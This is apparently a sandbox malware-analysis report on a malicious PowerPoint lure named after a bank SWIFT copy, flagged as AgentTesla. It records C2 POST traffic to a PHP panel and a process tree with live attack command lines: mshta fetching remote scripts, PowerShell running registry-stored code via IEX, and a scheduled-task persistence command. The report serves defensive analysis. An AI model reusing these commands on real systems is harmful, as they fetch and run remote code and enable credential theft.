Jan 13, 2021 13:45:00.655978918 CET	3092	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:00.781065941 CET	3093	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:00.781574965 CET	3093	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQhjlN6XQ8UZSxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:00.912853003 CET	3094	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:01.999212027 CET	3099	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:02.121244907 CET	3099	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:02.131926060 CET	3100	OUT	Data Raw: 70 3d 42 43 51 31 54 57 75 74 5a 45 67 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=BCQ1TWutZEgyNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQwFWajRoeYPyxfHCx9mkRFaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:02.262056112 CET	3100	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:02 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49201	64.188.18.218	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2021 13:45:03.601350069 CET	3115	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue
Jan 13, 2021 13:45:03.724831104 CET	3130	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49217	64.188.18.218	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 13, 2021 13:45:51.948399067 CET	4685	OUT	POST /webpanel-st/inc/6295ae82aa2db6.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Content-Type: application/x-www-form-urlencoded Host: 64.188.18.218 Content-Length: 368 Expect: 100-continue Connection: Keep-Alive
Jan 13, 2021 13:45:52.072664022 CET	4685	IN	HTTP/1.1 100 Continue
Jan 13, 2021 13:45:52.072953939 CET	4685	OUT	Data Raw: 70 3d 6e 72 6b 4b 50 64 71 51 4c 7a 30 79 4e 47 38 69 54 4a 44 74 54 68 39 66 41 73 58 63 31 67 77 78 54 6a 59 71 4f 6a 4b 47 6a 73 6d 75 45 46 62 47 49 6f 4f 6c 6e 6f 79 73 4a 31 4a 6d 6b 31 55 69 76 25 32 42 36 6f 52 4a 4d 6b 36 79 59 31 77 4f Data Ascii: p=nrkKPdqQLz0yNG8iTJDtTh9fAsXc1gwxTjYqOjKGjsmuEFbGIoOlnoysJ1Jmk1Uiv%2B6oRJMk6yY1wO6/QQCNhUw9NhnC/khpGsoC7GOVubS1yjwcTDPNnDGVfnawnrgk8VCffRh6f8nAVaSc8LCDgQxc8Z/Ll7%2BUS4VzXlx/8fYZ/GEs4ExZGZsYV9Pr%2B3NQaf4RWItddYQwoBwTJIYwqaQLtGN4cHs66vtx9V0r5nT
Jan 13, 2021 13:45:52.202646017 CET	4686	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:52 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 13, 2021 13:45:52.559609890 CET	4686	IN	HTTP/1.1 200 OK Date: Wed, 13 Jan 2021 12:45:52 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34 X-Powered-By: PHP/7.2.34 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 13, 2021 13:44:23.206911087 CET	108.177.127.132	443	192.168.2.22	49168	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:23.206911087 CET	108.177.127.132	443	192.168.2.22	49168	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:29.194725037 CET	104.18.49.20	443	192.168.2.22	49174	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:29.194725037 CET	104.18.49.20	443	192.168.2.22	49174	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:31.917670965 CET	108.177.127.132	443	192.168.2.22	49178	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:31.917670965 CET	108.177.127.132	443	192.168.2.22	49178	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:40.395072937 CET	104.18.49.20	443	192.168.2.22	49183	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:40.395072937 CET	104.18.49.20	443	192.168.2.22	49183	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:41.158859015 CET	104.18.49.20	443	192.168.2.22	49184	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:41.158859015 CET	104.18.49.20	443	192.168.2.22	49184	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:47.191617966 CET	108.177.127.132	443	192.168.2.22	49188	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:47.191617966 CET	108.177.127.132	443	192.168.2.22	49188	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:54.516547918 CET	108.177.127.132	443	192.168.2.22	49192	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:54.516547918 CET	108.177.127.132	443	192.168.2.22	49192	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:44:55.705315113 CET	172.67.219.133	443	192.168.2.22	49193	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:44:55.705315113 CET	172.67.219.133	443	192.168.2.22	49193	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:45:03.462819099 CET	108.177.127.132	443	192.168.2.22	49200	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:03.462819099 CET	108.177.127.132	443	192.168.2.22	49200	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:16.794524908 CET	104.18.49.20	443	192.168.2.22	49206	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:45:16.794524908 CET	104.18.49.20	443	192.168.2.22	49206	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:45:24.267565012 CET	108.177.127.132	443	192.168.2.22	49208	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:24.267565012 CET	108.177.127.132	443	192.168.2.22	49208	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:26.734380960 CET	104.18.49.20	443	192.168.2.22	49210	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Aug 06 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Fri Aug 06 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:45:26.734380960 CET	104.18.49.20	443	192.168.2.22	49210	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		05af1f5ca1b87cc9cc9b25185115607d
Jan 13, 2021 13:45:32.833523989 CET	108.177.127.132	443	192.168.2.22	49213	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:32.833523989 CET	108.177.127.132	443	192.168.2.22	49213	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:41.377978086 CET	108.177.127.132	443	192.168.2.22	49215	CN=misc-sni.blogspot.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Tue Dec 15 15:45:09 CET 2020 Thu Jun 15 02:00:42 CEST 2017	Tue Mar 09 15:45:08 CET 2021 Wed Dec 15 01:00:42 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Jan 13, 2021 13:45:41.377978086 CET	108.177.127.132	443	192.168.2.22	49215	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: POWERPNT.EXE PID: 1464 Parent PID: 584

General

Start time:	13:43:35
Start date:	13/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' /AUTOMATION -Embedding
Imagebase:	0x13f660000
File size:	2163560 bytes
MD5 hash:	EBBBEF2CCA67822395E24D6E18A3BDF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 1276 Parent PID: 2060

General

Start time:	13:43:38
Start date:	13/01/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'
Imagebase:	0x49ff0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: POWERPNT.EXE PID: 2476 Parent PID: 1276

General

Start time:	13:43:39
Start date:	13/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'
Imagebase:	0x13f020000
File size:	2163560 bytes
MD5 hash:	EBBBEF2CCA67822395E24D6E18A3BDF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: PING.EXE PID: 2776 Parent PID: 2476

General

Start time:	13:44:33
Start date:	13/01/2021
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping.exe
Imagebase:	0xffea0000
File size:	16896 bytes
MD5 hash:	5FB30FE90736C7FC77DE637021B1CE7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 2756 Parent PID: 2476

General

Start time:	13:44:33
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: PING.EXE PID: 2720 Parent PID: 2476

General

Start time:	13:44:34
Start date:	13/01/2021
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping.exe
Imagebase:	0xff5d0000
File size:	16896 bytes
MD5 hash:	5FB30FE90736C7FC77DE637021B1CE7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 2816 Parent PID: 2756

General

Start time:	13:44:37
Start date:	13/01/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Imagebase:	0x21ac0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2281127990.00000000048E4000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 3036 Parent PID: 2756

General

Start time:	13:44:38
Start date:	13/01/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')
Imagebase:	0xff140000
File size:	285696 bytes
MD5 hash:	97E0EC3D6D99E8CC2B17EF2D3760E8FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: taskeng.exe PID: 2168 Parent PID: 860

General

Start time:	13:44:40
Start date:	13/01/2021
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {2ABF5983-E6CF-46DC-B95A-53E1F6F4D156} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xffa70000
File size:	464384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 2368 Parent PID: 2168

General

Start time:	13:44:40
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mshta.EXE vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://randikhanaekminar.blogspot.com/p/st2.html'', 0 : window.close')
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 600 Parent PID: 2368

General

Start time:	13:44:42
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' https://randikhanaekminar.blogspot.com/p/st2.html
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2340 Parent PID: 2756

General

Start time:	13:44:43
Start date:	13/01/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe
Imagebase:	0x4ab60000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 848 Parent PID: 1388

General

Start time:	13:44:46
Start date:	13/01/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\mshta.exe' vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''powershell ((gp HKCU:\Software).meather)\|IEX'', 0 : window.close')
Imagebase:	0x13f4d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: taskkill.exe PID: 956 Parent PID: 2340

General

Start time:	13:44:46
Start date:	13/01/2021
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im winword.exe
Imagebase:	0xff4f0000
File size:	112640 bytes
MD5 hash:	3722FA501DCB50AE42818F9034906891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 288 Parent PID: 600

General

Start time:	13:44:47
Start date:	13/01/2021
